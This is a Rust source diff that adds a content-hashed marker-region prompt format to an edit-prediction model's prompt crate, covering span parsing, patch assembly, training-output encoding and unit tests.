+    /// 0-based row where the snippet starts in its file.
+    pub start_row: u32,
+}
+
+/// One marker-bounded edit resolved against a parse snippet.
+struct ParsedSpanEdit {
+    snippet_ix: usize,
+    range: Range<usize>,
+    new_text: String,
+    cursor_offset_in_new_text: Option<usize>,
+}
+
+/// Split raw model output into marker-bounded spans by pairing marker tags two
+/// at a time. Returns `(start_id, end_id, raw_new_span)` per pair, where
+/// `raw_new_span` may still contain the cursor marker.
+fn pair_marker_spans(output: &str) -> Result<Vec<(String, String, String)>> {
+    let tags = find_all_marker_tags(output);
+    if tags.len() < 2 {
+        return Err(anyhow!("output does not contain a marker-bounded span"));
+    }
+    let mut spans = Vec::new();
+    let mut i = 0;
+    while i + 1 < tags.len() {
+        let (start_id, _, start_tag_end) = &tags[i];
+        let (end_id, end_tag_start, _) = &tags[i + 1];
+        let content = &output[*start_tag_end..*end_tag_start];
+        let content = content.strip_prefix('\n').unwrap_or(content);
+        let content = multi_region::strip_marker_tags(content);
+        spans.push((start_id.clone(), end_id.clone(), content));
+        i += 2;
+    }
+    Ok(spans)
+}
+
+/// Find every marker tag in `text`, in order, as `(id, tag_start, tag_end)`.
+fn find_all_marker_tags(text: &str) -> Vec<(String, usize, usize)> {
+    let mut tags = Vec::new();
+    let mut search = 0;
+    while let Some(rel) = text[search..].find(MARKER_TAG_PREFIX) {
+        let tag_start = search + rel;
+        let id_start = tag_start + MARKER_TAG_PREFIX.len();
+        let Some(suffix_rel) = text[id_start..].find(MARKER_TAG_SUFFIX) else {
+            break;
+        };
+        let id_end = id_start + suffix_rel;
+        let tag_end = id_end + MARKER_TAG_SUFFIX.len();
+        tags.push((text[id_start..id_end].to_string(), tag_start, tag_end));
+        search = tag_end;
+    }
+    tags
+}
+
+/// Resolve a list of marker spans into per-snippet edits and assemble a unified
+/// patch.
+///
+/// `spans` is a list of `(start_id, end_id, raw_new_span)` where `raw_new_span`
+/// may still contain `cursor_marker`. This is shared by the student parser
+/// (which pairs raw marker tags) and the teacher parser (which extracts spans
+/// from markdown code fences). Edits that overlap an already-accepted edit in
+/// the same snippet are skipped (lenient). The cursor marker is honored in
+/// every region that contains it; the returned [`HashRegionCursor`] reports the
+/// first such position.
+pub fn build_patch_from_spans(
+    input: &ZetaPromptInput,
+    spans: &[(String, String, String)],
+    cursor_marker: &str,
+) -> Result<(String, Option<HashRegionCursor>)> {
+    let marker_table = build_marker_table(input);
+    let snippets = merge_contiguous_snippets(input, marker_table)?;
+    let mut marker_index: HashMap<&str, (usize, usize)> = HashMap::new();
+    for (snippet_ix, snippet) in snippets.iter().enumerate() {
+        for (id, offset) in &snippet.markers {
+            marker_index.insert(id.as_str(), (snippet_ix, *offset));
+        }
+    }
+
+    let mut edits: Vec<ParsedSpanEdit> = Vec::new();
+    for (start_id, end_id, raw_new_span) in spans {
+        let &(start_snippet, start_byte) = marker_index
+            .get(start_id.as_str())
+            .with_context(|| format!("unknown start marker `{start_id}`"))?;
+        let &(end_snippet, end_byte) = marker_index
+            .get(end_id.as_str())
+            .with_context(|| format!("unknown end marker `{end_id}`"))?;
+
+        if start_snippet != end_snippet {
+            return Err(anyhow!(
+                "markers `{start_id}` and `{end_id}` belong to different context snippets \
+                 that are not contiguous excerpts of the same file"
+            ));
+        }
+        if start_byte > end_byte {
+            return Err(anyhow!(
+                "start marker `{start_id}` must come before end marker `{end_id}`"
+            ));
+        }
+
+        let old_text = snippets[start_snippet].text.as_ref();
+        let old_span = &old_text[start_byte..end_byte];
+
+        let cursor_in_span = raw_new_span.find(cursor_marker);
+        let mut new_span = raw_new_span.replace(cursor_marker, "");
+        if old_span.is_empty() {
+            if !new_span.is_empty() && !new_span.ends_with('\n') {
+                new_span.push('\n');
+            }
+        } else {
+            if old_span.ends_with('\n') && !new_span.ends_with('\n') && !new_span.is_empty() {
+                new_span.push('\n');
+            }
+            if !old_span.ends_with('\n') && new_span.ends_with('\n') {
+                new_span.pop();
+            }
+        }
+
+        if !new_span.is_empty()
+            && let Some(dropped) = detect_trailing_deletion(old_span, &new_span)
+        {
+            return Err(anyhow!(
+                "edit span `{start_id}`..`{end_id}` looks truncated: the replacement \
+                 stops before the end marker, which would silently delete:\n{dropped}"
+            ));
+        }
+
+        // `cursor_in_span` was located in `raw_new_span` before the trailing
+        // newline normalization above, which can drop a byte. Clamp it to the
+        // finalized replacement so the offset never points past `new_span`
+        // (downstream cursor mapping byte-slices `new_text` by this offset).
+        let cursor_offset_in_new_text = cursor_in_span.map(|offset| offset.min(new_span.len()));
+        edits.push(ParsedSpanEdit {
+            snippet_ix: start_snippet,
+            range: start_byte..end_byte,
+            new_text: new_span,
+            cursor_offset_in_new_text,
+        });
+    }
+
+    assemble_patch_from_edits(input, &snippets, edits)
+}
+
+/// Apply resolved edits to their snippets and emit one diff section per edited
+/// snippet, in the order snippets first appear in the edit sequence.
+fn assemble_patch_from_edits(
+    input: &ZetaPromptInput,
+    snippets: &[ParseSnippet<'_>],
+    edits: Vec<ParsedSpanEdit>,
+) -> Result<(String, Option<HashRegionCursor>)> {
+    let mut snippet_order: Vec<usize> = Vec::new();
+    for edit in &edits {
+        if !snippet_order.contains(&edit.snippet_ix) {
+            snippet_order.push(edit.snippet_ix);
+        }
+    }
+
+    let mut diff_output = String::new();
+    let mut cursor = None;
+
+    for &snippet_ix in &snippet_order {
+        let snippet = &snippets[snippet_ix];
+        let mut snippet_edits: Vec<&ParsedSpanEdit> = edits
+            .iter()
+            .filter(|edit| edit.snippet_ix == snippet_ix)
+            .collect();
+        snippet_edits.sort_by_key(|edit| edit.range.start);
+
+        // Lenient overlap handling: keep edits in line order, dropping any whose
+        // range starts before the previous accepted edit ended.
+        let mut accepted: Vec<&ParsedSpanEdit> = Vec::new();
+        let mut last_end = 0usize;
+        for edit in snippet_edits {
+            if !accepted.is_empty() && edit.range.start < last_end {
+                continue;
+            }
+            last_end = edit.range.end;
+            accepted.push(edit);
+        }
+
+        let old_text = snippet.text.as_ref();
+        let (path, start_row) = snippet_path_and_start_row(input, snippet)?;
+
+        let mut new_text = String::new();
+        let mut position = 0;
+        let mut cursor_in_new_text = None;
+        for edit in &accepted {
+            new_text.push_str(&old_text[position..edit.range.start]);
+            if let Some(cursor_offset) = edit.cursor_offset_in_new_text {
+                cursor_in_new_text = Some(new_text.len() + cursor_offset);
+            }
+            new_text.push_str(&edit.new_text);
+            position = edit.range.end;
+        }
+        new_text.push_str(&old_text[position..]);
+
+        let diff = udiff::unified_diff_with_context(old_text, &new_text, start_row, start_row, 3);
+        if !diff.is_empty() {
+            let path_str = path
+                .iter()
+                .map(|component| component.to_string_lossy())
+                .collect::<Vec<_>>()
+                .join("/");
+            diff_output.push_str(&format!("--- a/{path_str}\n+++ b/{path_str}\n"));
+            diff_output.push_str(&diff);
+            if !diff_output.ends_with('\n') {
+                diff_output.push('\n');
+            }
+        }
+
+        if cursor.is_none()
+            && let Some(cursor_offset) = cursor_in_new_text
+        {
+            cursor = Some(HashRegionCursor {
+                path: path.clone(),
+                cursor_offset_in_new_text: cursor_offset,
+                new_text: new_text.clone(),
+                old_text: old_text.to_string(),
+                start_row,
+            });
+        }
+    }
+
+    Ok((diff_output, cursor))
+}
+
+/// Detects a span replacement that ends in a pure deletion of the span's tail,
+/// the signature of a model that stopped writing before reaching its end
+/// marker.
+///
+/// Returns the deleted tail if the line diff between `old_span` and `new_span`
+/// ends with a deletion-only group that reaches the last line of `old_span` and
+/// drops more than `MAX_TRAILING_DELETED_LINES` non-blank lines.
+fn detect_trailing_deletion(old_span: &str, new_span: &str) -> Option<String> {
+    const MAX_TRAILING_DELETED_LINES: usize = 3;
+
+    fn flag_if_large(deleted_tail: &str) -> Option<String> {
+        let non_blank_deleted = deleted_tail
+            .lines()
+            .filter(|line| !line.trim().is_empty())
+            .count();
+        (non_blank_deleted > MAX_TRAILING_DELETED_LINES)
+            .then(|| deleted_tail.trim_end().to_string())
+    }
+
+    // A verbatim prefix is checked at the byte level so that a replacement
+    // stopping mid-line is caught too; the line diff below would see that as a
+    // trailing replace group rather than a pure deletion.
+    if let Some(deleted_tail) = old_span.strip_prefix(new_span) {
+        return flag_if_large(deleted_tail);
+    }
+
+    // With zero context lines, hunks contain only `-` and `+` lines, and within
+    // a hunk deletions precede insertions, so a diff whose final line is a
+    // deletion ends with a deletion-only group.
+    let diff = udiff::unified_diff_with_context(old_span, new_span, 0, 0, 0);
+    let lines: Vec<&str> = diff.lines().collect();
+    let mut deletion_start = lines.len();
+    while deletion_start > 0 && lines[deletion_start - 1].starts_with('-') {
+        deletion_start -= 1;
+    }
+    let deleted: Vec<&str> = lines[deletion_start..]
+        .iter()
+        .map(|line| line.strip_prefix('-').unwrap_or(line))
+        .collect();
+    if deleted.is_empty() {
+        return None;
+    }
+
+    // The trailing `-` run is preceded by its hunk header exactly when the hunk
+    // is deletion-only (a replacement group would interpose `+` lines).
+    let header = lines.get(deletion_start.checked_sub(1)?)?;
+    let old_range_start: usize = header
+        .strip_prefix("@@ -")?
+        .split(',')
+        .next()?
+        .parse()
+        .ok()?;
+
+    // Only flag deletions that reach the end of the span; a deletion in the
+    // middle is followed by reproduced context, so the model demonstrably kept
+    // writing past it.
+    if old_range_start + deleted.len() - 1 != old_span.lines().count() {
+        return None;
+    }
+
+    flag_if_large(&deleted.join("\n"))
+}
+
+/// Encode an expected unified patch into the training output for a student.
+///
+/// Emits **one marker-bounded block per diff hunk**, in patch order (which
+/// preserves the teacher's cross-file ordering), with no markdown code fences,
+/// terminated by a single [`V0615_END_MARKER`]. Blocks are separated by a
+/// newline; the parser re-pairs marker tags two at a time, so the separator is
+/// not significant.
+///
+/// Reachability is per hunk: a hunk whose file is absent from the prompt
+/// context, or whose location can't be resolved within its snippet, is skipped.
+/// If at least one hunk is reachable, the remaining hunks are still encoded
+/// (partial edit). If no hunk is reachable, the output is `NO_EDITS`.
+pub fn encode_patch_as_output(
+    input: &ZetaPromptInput,
+    patch: &str,
+    cursor_offset: Option<usize>,
+    cursor_marker: &str,
+) -> Result<String> {
+    if patch.lines().count() <= 3 {
+        return Ok(format!("{NO_EDITS}{V0615_END_MARKER}"));
+    }
+
+    let marker_table = build_marker_table(input);
+    let snippets = merge_contiguous_snippets(input, marker_table)?;
+    let mut parser = udiff::DiffParser::new(patch);
+    let mut blocks: Vec<String> = Vec::new();
+
+    while let Some(event) = parser.next().context("failed to parse expected patch")? {
+        let udiff::DiffEvent::Hunk {
+            path,
+            mut hunk,
+            status: _,
+        } = event
+        else {
+            continue;
+        };
+
+        // A hunk whose file isn't in the prompt context is unreachable; skip it
+        // and keep any other reachable hunks (partial edit).
+        let Some((snippet_ix, start_row)) =
+            snippets
+                .iter()
+                .enumerate()
+                .find_map(|(snippet_ix, snippet)| {
+                    let (snippet_path, start_row) =
+                        snippet_path_and_start_row(input, snippet).ok()?;
+                    (snippet_path == Path::new(path.as_ref())).then_some((snippet_ix, start_row))
+                })
+        else {
+            continue;
+        };
+        let snippet = &snippets[snippet_ix];
+        let old_text = snippet.text.as_ref();
+        let candidates = udiff::find_context_candidates(old_text, &mut hunk);
+        // A hunk whose location can't be pinned down within the snippet is
+        // unreachable; skip it.
+        let Some(hunk_offset) =
+            udiff::disambiguate_by_line_number(&candidates, hunk.start_line, &|offset| {
+                start_row + old_text[..offset].matches('\n').count() as u32
+            })
+        else {
+            continue;
+        };
+
+        let mut new_text = old_text.to_string();
+        for edit in hunk.edits.iter().rev() {
+            let range = (hunk_offset + edit.range.start)..(hunk_offset + edit.range.end);
+            new_text.replace_range(range, &edit.text);
+        }
+        // The cursor marker is placed in every region whose span contains it.
+        // The extracted `cursor_offset` is hunk-relative, so map it through each
+        // hunk's offset; `encode_from_old_and_new` inserts it only when it lands
+        // within that block's span.
+        let cursor_in_new = cursor_offset.map(|cursor| (hunk_offset + cursor).min(new_text.len()));
+        blocks.push(encode_from_old_and_new(
+            old_text,
+            &new_text,
+            &snippet.markers,
+            cursor_in_new,
+            cursor_marker,
+        )?);
+    }
+
+    if blocks.is_empty() {
+        return Ok(format!("{NO_EDITS}{V0615_END_MARKER}"));
+    }
+
+    let mut output = blocks.join("\n");
+    output.push_str(V0615_END_MARKER);
+    Ok(output)
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::{ContextSource, RelatedExcerpt, RelatedFile};
+    use std::path::PathBuf;
+    use std::sync::Arc;
+
+    fn make_input(cursor_excerpt: &str, related: &[(&str, &[&str])]) -> ZetaPromptInput {
+        ZetaPromptInput {
+            cursor_path: PathBuf::from("src/main.rs").into(),
+            cursor_excerpt: cursor_excerpt.into(),
+            cursor_offset_in_excerpt: 0,
+            excerpt_start_row: Some(0),
+            events: Vec::new(),
+            related_files: Some(
+                related
+                    .iter()
+                    .map(|(path, excerpts)| {
+                        let mut row = 0;
+                        RelatedFile {
+                            path: Arc::from(PathBuf::from(path).as_path()),
+                            max_row: 1000,
+                            excerpts: excerpts
+                                .iter()
+                                .map(|text| {
+                                    let row_count = text.matches('\n').count() as u32;
+                                    let excerpt = RelatedExcerpt {
+                                        row_range: row..row + row_count,
+                                        text: Arc::from(*text),
+                                        order: 0,
+                                        context_source: ContextSource::CurrentFile,
+                                    };
+                                    row += row_count + 10;
+                                    excerpt
+                                })
+                                .collect(),
+                            in_open_source_repo: false,
+                        }
+                    })
+                    .collect(),
+            ),
+            active_buffer_diagnostics: Vec::new(),
+            excerpt_ranges: crate::ExcerptRanges::default(),
+            syntax_ranges: None,
+            in_open_source_repo: false,
+            can_collect_data: false,
+            repo_url: None,
+        }
+    }
+
+    #[test]
+    fn test_ensure_cursor_file_excerpt_synthesizes_when_uncovered() {
+        // The cursor file's only related excerpt is a fragment elsewhere in the
+        // file (rows 40..42), not covering the cursor at row 1.
+        let mut input = make_input(
+            "fn main() {\n    let x = 1;\n}\n",
+            &[("src/main.rs", &["// unrelated\n// fragment\n"])],
+        );
+        input.cursor_offset_in_excerpt = 16; // inside "    let x = 1;"
+        input.related_files.as_mut().unwrap()[0].excerpts[0].row_range = 40..42;
+
+        assert!(locate_cursor_in_related_files(&input).is_none());
+        assert!(ensure_cursor_file_excerpt(&mut input));
+
+        let cursor =
+            locate_cursor_in_related_files(&input).expect("cursor covered after synthesis");
+        let file = &input.related_files.as_ref().unwrap()[cursor.file_ix];
+        // The fragment was replaced by the synthesized full window, so the file
+        // content isn't duplicated with overlapping markers.
+        assert_eq!(file.excerpts.len(), 1);
+        assert_eq!(file.excerpts[0].context_source, ContextSource::CurrentFile);
+        assert_eq!(file.excerpts[0].row_range, 0..3);
+        assert_eq!(
+            file.excerpts[0].text.as_ref(),
+            "fn main() {\n    let x = 1;\n}\n"
+        );
+    }
+
+    #[test]
+    fn test_ensure_cursor_file_excerpt_noop_when_covered() {
+        // make_input places the cursor file's excerpt at rows 0..3, covering the
+        // cursor at row 1.
+        let mut input = make_input(
+            "fn main() {\n    let x = 1;\n}\n",
+            &[("src/main.rs", &["fn main() {\n    let x = 1;\n}\n"])],
+        );
+        input.cursor_offset_in_excerpt = 16;
+        let before = input.clone();
+        assert!(ensure_cursor_file_excerpt(&mut input));
+        assert_eq!(input, before);
+    }
+
+    #[test]
+    fn test_tag_ids_are_unique_even_for_identical_blocks() {
+        let mut used = HashSet::new();
+        let id_a = unique_tag_id("same content", &mut used);
+        let id_b = unique_tag_id("same content", &mut used);
+        assert_ne!(id_a, id_b);
+        assert_eq!(id_a.len(), TAG_ID_LEN);
+        assert_eq!(id_b.len(), TAG_ID_LEN);
+    }
+
+    #[test]
+    fn test_tag_ids_are_deterministic() {
+        let mut used_a = HashSet::new();
+        let mut used_b = HashSet::new();
+        assert_eq!(
+            unique_tag_id("hello\nworld\n", &mut used_a),
+            unique_tag_id("hello\nworld\n", &mut used_b)
+        );
+    }
+
+    #[test]
+    fn test_build_marker_table_covers_all_context() {
+        let input = make_input(
+            "fn main() {\n    println!();\n}\n",
+            &[
+                ("src/a.rs", &["struct A;\n", "impl A {}\n"]),
+                ("src/b.rs", &["struct B;\n"]),
+            ],
+        );
+        let table = build_marker_table(&input);
+        assert_eq!(table.len(), 3);
+        assert_eq!((table[0].file_ix, table[0].excerpt_ix), (0, 0));
+        assert_eq!((table[1].file_ix, table[1].excerpt_ix), (0, 1));
+        assert_eq!((table[2].file_ix, table[2].excerpt_ix), (1, 0));
+
+        let mut all_ids = HashSet::new();
+        for snippet in &table {
+            assert!(snippet.markers.len() >= 2);
+            assert_eq!(snippet.markers.first().map(|(_, offset)| *offset), Some(0));
+            for (id, _) in &snippet.markers {
+                assert!(all_ids.insert(id.clone()), "duplicate tag id {id}");
+            }
+        }
+    }
+
+    #[test]
+    fn test_write_snippet_with_markers_and_cursor() {
+        let text = "fn main() {\n    let x = 1;\n}\n";
+        let markers = vec![("aaaa".to_string(), 0), ("bbbb".to_string(), text.len())];
+        let mut output = String::new();
+        write_snippet_with_markers(&mut output, text, &markers, Some((16, "<|user_cursor|>")));
+        assert_eq!(
+            output,
+            "<|marker_aaaa|>\nfn main() {\n    <|user_cursor|>let x = 1;\n}\n<|marker_bbbb|>"
+        );
+    }
+
+    #[test]
+    fn test_extract_marker_span_round_trip() {
+        let codeblock = "<|marker_aaaa|>\nnew content\n<|marker_bbbb|>";
+        let (start, end, content) = extract_marker_span(codeblock).unwrap();
+        assert_eq!(start, "aaaa");
+        assert_eq!(end, "bbbb");
+        assert_eq!(content, "new content\n");
+    }
+
+    #[test]
+    fn test_extract_marker_span_strips_intermediate_tags() {
+        let codeblock = "<|marker_aaaa|>\nline one\n<|marker_cccc|>\nline two\n<|marker_bbbb|>";
+        let (start, end, content) = extract_marker_span(codeblock).unwrap();
+        assert_eq!(start, "aaaa");
+        assert_eq!(end, "bbbb");
+        assert_eq!(content, "line one\nline two\n");
+    }
+
+    #[test]
+    fn test_extract_marker_span_rejects_single_marker() {
+        assert!(extract_marker_span("<|marker_aaaa|>\ncontent\n").is_err());
+    }
+
+    #[test]
+    fn test_extract_marker_span_rejects_same_marker() {
+        assert!(extract_marker_span("<|marker_aaaa|>\ncontent\n<|marker_aaaa|>").is_err());
+    }
+
+    const MULTI_FN_EXCERPT: &str = "fn alpha() {\n    one();\n}\n\nfn beta() {\n    two();\n}\n\nfn gamma() {\n    three();\n}\n";
+
+    const TWO_HUNK_PATCH: &str = concat!(
+        "--- a/src/main.rs\n",
+        "+++ b/src/main.rs\n",
+        "@@ -1,3 +1,3 @@\n",
+        " fn alpha() {\n",
+        "-    one();\n",
+        "+    uno();\n",
+        " }\n",
+        "@@ -9,3 +9,3 @@\n",
+        " fn gamma() {\n",
+        "-    three();\n",
+        "+    tres();\n",
+        " }\n",
+    );
+
+    #[test]
+    fn test_encode_multi_hunk_emits_multiple_blocks() {
+        let input = make_input(MULTI_FN_EXCERPT, &[("src/main.rs", &[MULTI_FN_EXCERPT])]);
+        let output =
+            encode_patch_as_output(&input, TWO_HUNK_PATCH, None, "<|user_cursor|>").unwrap();
+
+        assert!(output.ends_with(V0615_END_MARKER), "output: {output}");
+        // Two blocks => four marker tags, exactly one end marker.
+        assert_eq!(
+            output.matches(MARKER_TAG_PREFIX).count(),
+            4,
+            "output: {output}"
+        );
+        assert_eq!(
+            output.matches(V0615_END_MARKER).count(),
+            1,
+            "output: {output}"
+        );
+        assert!(output.contains("uno();"), "output: {output}");
+        assert!(output.contains("tres();"), "output: {output}");
+    }
+
+    #[test]
+    fn test_round_trip_multi_hunk() {
+        let input = make_input(MULTI_FN_EXCERPT, &[("src/main.rs", &[MULTI_FN_EXCERPT])]);
+        let output =
+            encode_patch_as_output(&input, TWO_HUNK_PATCH, None, "<|user_cursor|>").unwrap();
+        let patch = parse_output_as_patch(&input, &output, "<|user_cursor|>").unwrap();
+
+        assert!(patch.contains("-    one();"), "patch: {patch}");
+        assert!(patch.contains("+    uno();"), "patch: {patch}");
+        assert!(patch.contains("-    three();"), "patch: {patch}");
+        assert!(patch.contains("+    tres();"), "patch: {patch}");
+    }
+
+    #[test]
+    fn test_encode_partial_skips_unreachable_hunk() {
+        // Second hunk targets a file that is not in the prompt context, so it
+        // is unreachable. The first (reachable) hunk is still encoded.
+        let patch = format!(
+            "{TWO_HUNK_PATCH}--- a/other.rs\n+++ b/other.rs\n@@ -1,1 +1,1 @@\n-gone();\n+kept();\n"
+        );
+        let input = make_input(MULTI_FN_EXCERPT, &[("src/main.rs", &[MULTI_FN_EXCERPT])]);
+        let output = encode_patch_as_output(&input, &patch, None, "<|user_cursor|>").unwrap();
+
+        assert_ne!(output.trim_end_matches(V0615_END_MARKER), NO_EDITS);
+        assert!(output.contains("uno();"), "output: {output}");
+        assert!(output.contains("tres();"), "output: {output}");
+        assert!(!output.contains("kept();"), "output: {output}");
+    }
+
+    #[test]
+    fn test_encode_no_edits_when_all_hunks_unreachable() {
+        let patch = "--- a/other.rs\n+++ b/other.rs\n@@ -1,3 +1,3 @@\n fn x() {\n-    gone();\n+    kept();\n }\n";
+        let input = make_input(MULTI_FN_EXCERPT, &[("src/main.rs", &[MULTI_FN_EXCERPT])]);
+        let output = encode_patch_as_output(&input, patch, None, "<|user_cursor|>").unwrap();
+
+        assert_eq!(output, format!("{NO_EDITS}{V0615_END_MARKER}"));
+    }
+
+    #[test]
+    fn test_parse_multiple_direct_marker_blocks() {
+        // The student emits raw marker spans with no code fences; blocks are
+        // delimited by pairing tags two at a time.
+        let input = make_input(MULTI_FN_EXCERPT, &[("src/main.rs", &[MULTI_FN_EXCERPT])]);
+        let markers = build_marker_table(&input)[0].markers.clone();
+        assert!(markers.len() >= 3, "expected internal markers: {markers:?}");
+
+        let tag = |ix: usize| marker_tag(&markers[ix].0);
+        let old_first = &MULTI_FN_EXCERPT[markers[0].1..markers[1].1];
+        let old_second = &MULTI_FN_EXCERPT[markers[1].1..markers[markers.len() - 1].1];
+        let new_first = old_first.replace("one()", "uno()");
+        let new_second = old_second.replace("three()", "tres()");
+
+        let output = format!(
+            "{}\n{}{}\n{}\n{}{}{}",
+            tag(0),
+            new_first,
+            tag(1),
+            tag(1),
+            new_second,
+            tag(markers.len() - 1),
+            V0615_END_MARKER,
+        );
+
+        let patch = parse_output_as_patch(&input, &output, "<|user_cursor|>").unwrap();
+        assert!(patch.contains("+    uno();"), "patch: {patch}");
+        assert!(patch.contains("+    tres();"), "patch: {patch}");
+        assert_eq!(
+            patch.matches("--- a/src/main.rs").count(),
+            1,
+            "patch: {patch}"
+        );
+    }
+}
diff --git a/crates/zeta_prompt/src/multi_region.rs b/crates/zeta_prompt/src/multi_region.rs
index be416b513fa7b1..540bc2db11ac36 100644
--- a/crates/zeta_prompt/src/multi_region.rs
+++ b/crates/zeta_prompt/src/multi_region.rs
@@ -7,6 +7,8 @@ const V0316_MIN_BLOCK_LINES: usize = 3;
 const V0316_MAX_BLOCK_LINES: usize = 8;
 const V0318_MIN_BLOCK_LINES: usize = 6;
 const V0318_MAX_BLOCK_LINES: usize = 16;
+const V0618_MIN_BLOCK_LINES: usize = 3;
+const V0618_MAX_BLOCK_LINES: usize = 32;
 const MAX_NUDGE_LINES: usize = 5;
 pub const V0316_END_MARKER: &str = "<[end▁of▁sentence]>";
 pub const V0317_END_MARKER: &str = "<[end▁of▁sentence]>";
@@ -55,6 +57,13 @@ fn collect_line_info(text: &str) -> Vec<LineInfo> {
     lines
 }
 
+/// Whether a trimmed line is a model-friendly place to start a block: it has
+/// content and isn't a structural tail. Exposed for reuse by context
+/// retrieval when snapping excerpt boundaries to block boundaries.
+pub fn is_good_block_start(trimmed_line: &str) -> bool {
+    !trimmed_line.is_empty() && !is_structural_tail(trimmed_line)
+}
+
 fn is_structural_tail(trimmed_line: &str) -> bool {
     if trimmed_line.starts_with(&['}', ']', ')']) {
         return true;
@@ -144,6 +153,10 @@ pub fn compute_marker_offsets_v0318(editable_text: &str) -> Vec<usize> {
     compute_marker_offsets_with_limits(editable_text, V0318_MIN_BLOCK_LINES, V0318_MAX_BLOCK_LINES)
 }
 
+pub fn compute_marker_offsets_v0618(editable_text: &str) -> Vec<usize> {
+    compute_marker_offsets_with_limits(editable_text, V0618_MIN_BLOCK_LINES, V0618_MAX_BLOCK_LINES)
+}
+
 fn line_start_at_or_before(text: &str, offset: usize) -> usize {
     let bounded_offset = text.floor_char_boundary(offset.min(text.len()));
     text[..bounded_offset]
@@ -290,7 +303,7 @@ pub fn write_editable_with_markers(
 ///
 /// When a marker tag sits on its own line (followed by `\n`), the trailing
 /// newline is also removed so the surrounding lines stay joined naturally.
-fn strip_marker_tags(text: &str) -> String {
+pub(crate) fn strip_marker_tags(text: &str) -> String {
     let mut result = String::with_capacity(text.len());
     let mut pos = 0;
     let bytes = text.as_bytes();
diff --git a/crates/zeta_prompt/src/zeta_prompt.rs b/crates/zeta_prompt/src/zeta_prompt.rs
index b610e193c728f9..5f106d01b5e0d4 100644
--- a/crates/zeta_prompt/src/zeta_prompt.rs
+++ b/crates/zeta_prompt/src/zeta_prompt.rs
@@ -1,4 +1,5 @@
 pub mod excerpt_ranges;
+pub mod hashed_regions;
 pub mod multi_region;
 pub mod udiff;
 
@@ -120,6 +121,11 @@ pub enum ZetaFormat {
     V0420Diagnostics,
     /// V0318-style multi-region format using Qwen FIM tokens and PSM ordering.
     V0608QwenMultiRegions,
+
+    /// V0318-style marker-span output, but with content-hashed marker tags over rendered
+    /// related-file context so the model can target jump edits. There is no cursor-centered
+    /// editable region for this format.
+    V0615HashRegions,
 }
 
 impl std::fmt::Display for ZetaFormat {
@@ -266,6 +272,7 @@ pub enum ContextSource {
     GitLog,
     Bm25,
     OracleFile,
+    OracleSnippet,
 }
 
 pub fn prompt_input_contains_special_tokens(input: &ZetaPromptInput, format: ZetaFormat) -> bool {
@@ -296,6 +303,7 @@ pub fn format_zeta_prompt(input: &ZetaPromptInput, format: ZetaFormat) -> Option
         | ZetaFormat::V0331SeedCoderModelPy
         | ZetaFormat::V0318SeedMultiRegions
         | ZetaFormat::V0608QwenMultiRegions => 4096,
+        ZetaFormat::V0615HashRegions => 8000,
         ZetaFormat::V0420Diagnostics => 8192,
         ZetaFormat::V0327SingleFile => 16384,
     };
@@ -365,6 +373,18 @@ pub fn special_tokens_for_format(format: ZetaFormat) -> &'static [&'static str]
             ];
             TOKENS
         }
+        ZetaFormat::V0615HashRegions => {
+            static TOKENS: &[&str] = &[
+                seed_coder::FIM_SUFFIX,
+                seed_coder::FIM_PREFIX,
+                seed_coder::FIM_MIDDLE,
+                seed_coder::FILE_MARKER,
+                hashed_regions::V0615_END_MARKER,
+                CURSOR_MARKER,
+                hashed_regions::MARKER_TAG_PREFIX,
+            ];
+            TOKENS
+        }
         ZetaFormat::V0327SingleFile => {
             static TOKENS: &[&str] = &[
                 seed_coder::FIM_SUFFIX,
@@ -413,6 +433,7 @@ pub fn token_limits_for_format(format: ZetaFormat) -> (usize, usize) {
         | ZetaFormat::V0317SeedMultiRegions
         | ZetaFormat::V0327SingleFile
         | ZetaFormat::V0304SeedNoEdits => (350, 150),
+        ZetaFormat::V0615HashRegions => (8000, 0),
 
         ZetaFormat::V0304VariableEdit => (1024, 0),
     }
@@ -439,6 +460,7 @@ pub fn stop_tokens_for_format(format: ZetaFormat) -> &'static [&'static str] {
         ZetaFormat::V0608QwenMultiRegions => &[qwen::END_MARKER],
         ZetaFormat::V0317SeedMultiRegions => &[multi_region::V0317_END_MARKER],
         ZetaFormat::V0327SingleFile => &[multi_region::V0327_END_MARKER],
+        ZetaFormat::V0615HashRegions => &[hashed_regions::V0615_END_MARKER],
     }
 }
 
@@ -468,7 +490,8 @@ pub fn training_delimiters_for_format(format: ZetaFormat) -> TrainingDelimiters
         | ZetaFormat::V0317SeedMultiRegions
         | ZetaFormat::V0318SeedMultiRegions
         | ZetaFormat::V0327SingleFile
-        | ZetaFormat::V0420Diagnostics => TrainingDelimiters {
+        | ZetaFormat::V0420Diagnostics
+        | ZetaFormat::V0615HashRegions => TrainingDelimiters {
             instruction_part: seed_coder::FIM_SUFFIX,
             response_part: seed_coder::FIM_MIDDLE,
         },
@@ -538,6 +561,16 @@ pub fn excerpt_ranges_for_format(
                 ranges.editable_350_context_150.clone(),
             ),
         ),
+        ZetaFormat::V0615HashRegions => (
+            ranges
+                .context_8192
+                .clone()
+                .unwrap_or_else(|| ranges.editable_350_context_150.clone()),
+            ranges
+                .context_8192
+                .clone()
+                .unwrap_or_else(|| ranges.editable_350_context_150.clone()),
+        ),
 
         ZetaFormat::V0304VariableEdit => {
             let context = ranges
@@ -661,6 +694,14 @@ pub fn write_cursor_excerpt_section_for_format(
                 seed_coder::FILE_MARKER,
             ));
         }
+        ZetaFormat::V0615HashRegions => {
+            prompt.push_str(&build_v0615_cursor_prefix(
+                path,
+                context,
+                editable_range,
+                cursor_offset,
+            ));
+        }
     }
 }
 
@@ -748,6 +789,34 @@ fn build_v0318_cursor_prefix(
     section
 }
 
+fn build_v0615_cursor_prefix(
+    path: &Path,
+    context: &str,
+    editable_range: &Range<usize>,
+    cursor_offset: usize,
+) -> String {
+    let mut section = String::new();
+    let path_str = path.to_string_lossy();
+    write!(section, "{}{}\n", seed_coder::FILE_MARKER, path_str).ok();
+
+    section.push_str(&context[..editable_range.start]);
+
+    let editable_text = &context[editable_range.clone()];
+    let cursor_in_editable = cursor_offset - editable_range.start;
+    let markers = hashed_regions::markers_for_text(editable_text);
+    hashed_regions::write_snippet_with_markers(
+        &mut section,
+        editable_text,
+        &markers,
+        Some((cursor_in_editable, CURSOR_MARKER)),
+    );
+
+    if !section.ends_with('\n') {
+        section.push('\n');
+    }
+    section
+}
+
 fn build_v0317_cursor_prefix(
     path: &Path,
     context: &str,
@@ -818,6 +887,172 @@ fn assemble_single_file_fim_prompt(
     prompt
 }
 
+fn format_hash_region_related_files_within_budget(
